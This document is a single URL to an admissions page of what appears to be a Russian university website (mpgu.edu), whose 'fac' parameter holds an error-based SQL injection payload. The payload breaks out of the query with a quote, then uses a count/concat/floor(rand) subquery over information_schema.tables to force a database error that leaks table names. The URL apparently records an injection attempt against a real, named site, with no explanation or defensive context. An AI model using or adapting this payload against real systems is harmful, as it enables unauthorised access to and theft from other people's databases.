http://www.mpgu.edu/abiturientam/voprosy-po-postupleniyu/napravleniya_podgotovki_i_vstupitelnyye_ispytaniya_po_facultetam/?fac=inohhgfhfhgfhstr%27+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+g